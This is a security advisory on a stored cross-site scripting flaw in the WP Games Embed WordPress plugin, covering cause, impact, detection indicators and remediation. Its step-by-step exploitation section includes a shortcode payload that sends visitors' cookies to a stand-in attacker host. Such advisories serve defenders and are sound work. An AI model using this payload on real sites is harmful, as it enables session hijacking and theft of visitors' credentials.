CVE-2026-3996: 
WordPress vulnerability analysis and mitigation

CVE-2026-3996 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Games Embed plugin for WordPress, affecting all versions up to and including 0.1beta. The flaw allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts via the [game] shortcode, which execute whenever a user visits an affected page. It was published on March 21, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping (CWE-79) on user-supplied shortcode attributes within the [game] shortcode handler. Attributes including width, height, src, title, description, game_url, main, and thumb are directly concatenated into HTML output without any escaping or sanitization, as visible in the plugin source code. An authenticated attacker with at least Contributor privileges can craft a malicious shortcode containing JavaScript payloads and embed it in a post or page; the script executes in the browser of any visitor who loads that content. No special configuration is required beyond having a Contributor account (Wordfence, WP Plugin Source).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of site visitors' browsers, enabling session cookie theft, credential harvesting, defacement of page content, or redirection to malicious sites. The scope is changed (S:C in CVSS terms), meaning the injected script can affect users beyond the attacker's own session. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact; however, persistent script injection can affect all users who visit the compromised page until the malicious content is removed (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.056%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least Contributor-level access, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Obtain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site running WP Games Embed ≤ 0.1beta.
2. Create or Edit a Post: Navigate to the WordPress post editor and create a new post or edit an existing one where the [game] shortcode can be used.
3. Inject Malicious Shortcode: Insert a crafted shortcode with a JavaScript payload in an unsanitized attribute, for example: [game src="x" title="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Post: Submit or update the post so the malicious shortcode is stored in the database.
5. Trigger Execution: When any site visitor (including administrators) loads the page containing the injected shortcode, the browser renders the unescaped HTML and executes the attacker's JavaScript, potentially stealing session cookies or performing other malicious actions (Wordfence, WP Plugin Source).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing [game shortcode syntax with suspicious HTML or JavaScript content in the request body.
• Database: WordPress wp_posts table entries containing [game shortcodes with embedded <script> tags, event handlers (e.g., onerror=, onload=), or encoded JavaScript in attributes such as src, title, description, game_url, main, or thumb.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the [game] shortcode, potentially indicating cookie exfiltration or redirect activity.
• File System: No direct file system artifacts expected, as the payload is stored in the database; however, review plugin files at wp-content/plugins/wp-games-embed/wp-games-embed.php for any unauthorized modifications.

The recommended remediation is to remove or deactivate the WP Games Embed plugin, as no patched version beyond 0.1beta has been confirmed at the time of disclosure. Site administrators should audit all posts and pages for malicious [game] shortcode usage and remove any suspicious content. Access controls should be reviewed to ensure Contributor-level accounts are granted only to trusted users. Deploying a Web Application Firewall (WAF) such as Wordfence can help detect and block XSS payloads as an interim measure (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the advisory through its threat intelligence platform. Coverage has been limited to automated vulnerability aggregators and security feed services, with no notable researcher commentary or significant social media discussion identified beyond standard CVE publication channels (Wordfence).